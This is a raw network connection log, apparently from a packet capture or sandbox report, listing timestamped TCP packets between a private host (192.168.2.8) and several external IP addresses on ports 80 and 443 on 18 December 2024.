Dec 18, 2024 09:07:39.651118994 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.651253939 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.652129889 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.652188063 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.652226925 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.652280092 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.653238058 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.653285980 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.653335094 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.653382063 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.654643059 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.654738903 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.654769897 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.655041933 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.655474901 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.655561924 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.655591011 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.655689955 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.656563044 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.656610966 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.656651020 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.656699896 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.657641888 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.657692909 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.657732964 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.657776117 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.658734083 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.658772945 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.658776045 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.658909082 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.659868002 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.659915924 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.659960032 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.660012960 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.660985947 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.661045074 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.661068916 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.662019968 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.662053108 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.662106037 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.662190914 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.662306070 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.663136005 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.663189888 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.663340092 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.663414001 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.664284945 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.664340019 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.664376974 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.664427996 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.665446997 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.665498972 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.665524960 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.665592909 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.666444063 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.666501045 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.666539907 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.666604042 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.667542934 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.667671919 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.667717934 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.668661118 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.668761015 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.668806076 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.669775963 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.669912100 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.669953108 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.669992924 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.670954943 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.671036959 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.671088934 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.672009945 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.672064066 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.672108889 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.672148943 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.673104048 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.673224926 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.673269033 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.673371077 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.674293041 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.674343109 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.674381971 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.674510002 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.675347090 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.675399065 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.675437927 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.675484896 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.676373959 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.676425934 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.676493883 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.676594019 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.677467108 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.677521944 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.677567959 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.677635908 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.678600073 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.678646088 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.678685904 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.678730011 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.679676056 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.679729939 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.679810047 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.679866076 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.680799007 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.680860043 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.680917025 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.681914091 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.681972980 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.681999922 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.682043076 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.683002949 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.683079004 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.683092117 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.683136940 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.684106112 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.684180975 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.684185982 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.685153961 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.685198069 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.685281038 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.685324907 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.685415983 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.686316967 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.686399937 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.686484098 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.686562061 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.687402010 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.687459946 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.687510014 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.687555075 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.688524961 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.688585997 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.688714981 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.688792944 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.689619064 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.689666033 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.689721107 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.689802885 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.690776110 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.690818071 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.690911055 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.690962076 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.691888094 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.691940069 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.692018986 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.692198038 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.692933083 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.692981958 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.693053007 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.693135977 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.694123030 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.694164038 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.694181919 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.694211960 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.695125103 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.695169926 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.695274115 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.695378065 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.696295023 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.696357012 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.696376085 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.696420908 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.697334051 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.697376966 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.697419882 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.697468042 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.698442936 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.698539972 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.698558092 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.698616982 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.699573040 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.699634075 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.699665070 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.699708939 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.700651884 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.700711012 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.700748920 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.700795889 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.701750040 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.701814890 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.701853991 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.701896906 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.702788115 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.702847004 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.836025000 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.836065054 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.836112022 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.836177111 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.836524010 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.836633921 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.836693048 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.837383986 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.837435007 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.837464094 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.837507010 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.838493109 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.838543892 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.838593006 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.838643074 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.839564085 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.839677095 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.839737892 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.840681076 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.840765953 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.840790987 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.840837002 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.841766119 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.841826916 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.841927052 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.841981888 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.842906952 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.843033075 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.843085051 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.843991041 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.844094992 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.844139099 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.845097065 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.845140934 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.845179081 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.846132994 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.846198082 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.846235991 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.846332073 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.846369028 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.847286940 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.847341061 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.847404957 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.847443104 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.848536968 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.848584890 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.848592043 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.848623037 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.849498034 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.849545956 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.849581003 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.849628925 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.850593090 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.850708961 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.850745916 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.851692915 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.851788044 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.851829052 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.852863073 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.852905035 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.852935076 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.853065014 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.853990078 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.854038000 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.854078054 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.854116917 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.855010033 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.855110884 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.855133057 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.855174065 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.856359005 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.856432915 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.856493950 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.856592894 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.857788086 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.857846022 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.857909918 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.859127045 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.859128952 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.859247923 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.859301090 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.860017061 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.860028028 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.860078096 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.860111952 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.860790014 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.860869884 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.860869884 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.861618042 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.861704111 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.861722946 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.862124920 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.862720013 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.862793922 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:39.862823009 CET	80	49724	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:39.862899065 CET	49724	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:42.113595963 CET	49723	80	192.168.2.8	185.215.113.43
Dec 18, 2024 09:07:42.113904953 CET	49726	80	192.168.2.8	185.215.113.43
Dec 18, 2024 09:07:42.233433962 CET	80	49726	185.215.113.43	192.168.2.8
Dec 18, 2024 09:07:42.233479977 CET	80	49723	185.215.113.43	192.168.2.8
Dec 18, 2024 09:07:42.233517885 CET	49726	80	192.168.2.8	185.215.113.43
Dec 18, 2024 09:07:42.233525038 CET	49723	80	192.168.2.8	185.215.113.43
Dec 18, 2024 09:07:42.233762026 CET	49726	80	192.168.2.8	185.215.113.43
Dec 18, 2024 09:07:42.353324890 CET	80	49726	185.215.113.43	192.168.2.8
Dec 18, 2024 09:07:43.562916040 CET	49727	443	192.168.2.8	172.67.179.109
Dec 18, 2024 09:07:43.563014030 CET	443	49727	172.67.179.109	192.168.2.8
Dec 18, 2024 09:07:43.563118935 CET	49727	443	192.168.2.8	172.67.179.109
Dec 18, 2024 09:07:43.564225912 CET	49727	443	192.168.2.8	172.67.179.109
Dec 18, 2024 09:07:43.564265966 CET	443	49727	172.67.179.109	192.168.2.8
Dec 18, 2024 09:07:44.774244070 CET	443	49727	172.67.179.109	192.168.2.8
Dec 18, 2024 09:07:44.774359941 CET	49727	443	192.168.2.8	172.67.179.109
Dec 18, 2024 09:07:44.776113033 CET	49727	443	192.168.2.8	172.67.179.109
Dec 18, 2024 09:07:44.776139021 CET	443	49727	172.67.179.109	192.168.2.8
Dec 18, 2024 09:07:44.776451111 CET	443	49727	172.67.179.109	192.168.2.8
Dec 18, 2024 09:07:44.816023111 CET	49727	443	192.168.2.8	172.67.179.109
Dec 18, 2024 09:07:44.816066027 CET	49727	443	192.168.2.8	172.67.179.109
Dec 18, 2024 09:07:44.816123009 CET	443	49727	172.67.179.109	192.168.2.8
Dec 18, 2024 09:07:44.940169096 CET	80	49726	185.215.113.43	192.168.2.8
Dec 18, 2024 09:07:44.940258980 CET	49726	80	192.168.2.8	185.215.113.43
Dec 18, 2024 09:07:45.506252050 CET	443	49727	172.67.179.109	192.168.2.8
Dec 18, 2024 09:07:45.506352901 CET	443	49727	172.67.179.109	192.168.2.8
Dec 18, 2024 09:07:45.506570101 CET	49727	443	192.168.2.8	172.67.179.109
Dec 18, 2024 09:07:45.506676912 CET	49727	443	192.168.2.8	172.67.179.109
Dec 18, 2024 09:07:45.506702900 CET	443	49727	172.67.179.109	192.168.2.8
Dec 18, 2024 09:07:45.506717920 CET	49727	443	192.168.2.8	172.67.179.109
Dec 18, 2024 09:07:45.506725073 CET	443	49727	172.67.179.109	192.168.2.8
Dec 18, 2024 09:07:45.557425976 CET	49728	443	192.168.2.8	172.67.179.109
Dec 18, 2024 09:07:45.557481050 CET	443	49728	172.67.179.109	192.168.2.8
Dec 18, 2024 09:07:45.557600021 CET	49728	443	192.168.2.8	172.67.179.109
Dec 18, 2024 09:07:45.557991028 CET	49728	443	192.168.2.8	172.67.179.109
Dec 18, 2024 09:07:45.558022976 CET	443	49728	172.67.179.109	192.168.2.8
Dec 18, 2024 09:07:46.562711000 CET	49726	80	192.168.2.8	185.215.113.43
Dec 18, 2024 09:07:46.563024044 CET	49729	80	192.168.2.8	185.215.113.43
Dec 18, 2024 09:07:46.682673931 CET	80	49729	185.215.113.43	192.168.2.8
Dec 18, 2024 09:07:46.682787895 CET	49729	80	192.168.2.8	185.215.113.43
Dec 18, 2024 09:07:46.682804108 CET	80	49726	185.215.113.43	192.168.2.8
Dec 18, 2024 09:07:46.682863951 CET	49726	80	192.168.2.8	185.215.113.43
Dec 18, 2024 09:07:46.712085009 CET	49729	80	192.168.2.8	185.215.113.43
Dec 18, 2024 09:07:46.767231941 CET	443	49728	172.67.179.109	192.168.2.8
Dec 18, 2024 09:07:46.767355919 CET	49728	443	192.168.2.8	172.67.179.109
Dec 18, 2024 09:07:46.769048929 CET	49728	443	192.168.2.8	172.67.179.109
Dec 18, 2024 09:07:46.769062996 CET	443	49728	172.67.179.109	192.168.2.8
Dec 18, 2024 09:07:46.769390106 CET	443	49728	172.67.179.109	192.168.2.8
Dec 18, 2024 09:07:46.770921946 CET	49728	443	192.168.2.8	172.67.179.109
Dec 18, 2024 09:07:46.770952940 CET	49728	443	192.168.2.8	172.67.179.109
Dec 18, 2024 09:07:46.771008968 CET	443	49728	172.67.179.109	192.168.2.8
Dec 18, 2024 09:07:46.831671953 CET	80	49729	185.215.113.43	192.168.2.8
Dec 18, 2024 09:07:47.739818096 CET	443	49728	172.67.179.109	192.168.2.8
Dec 18, 2024 09:07:47.739861012 CET	443	49728	172.67.179.109	192.168.2.8
Dec 18, 2024 09:07:47.739909887 CET	443	49728	172.67.179.109	192.168.2.8
Dec 18, 2024 09:07:47.739940882 CET	443	49728	172.67.179.109	192.168.2.8
Dec 18, 2024 09:07:47.739955902 CET	49728	443	192.168.2.8	172.67.179.109
Dec 18, 2024 09:07:47.739973068 CET	443	49728	172.67.179.109	192.168.2.8
Dec 18, 2024 09:07:47.739995956 CET	443	49728	172.67.179.109	192.168.2.8
Dec 18, 2024 09:07:47.740000010 CET	49728	443	192.168.2.8	172.67.179.109
Dec 18, 2024 09:07:47.740040064 CET	49728	443	192.168.2.8	172.67.179.109
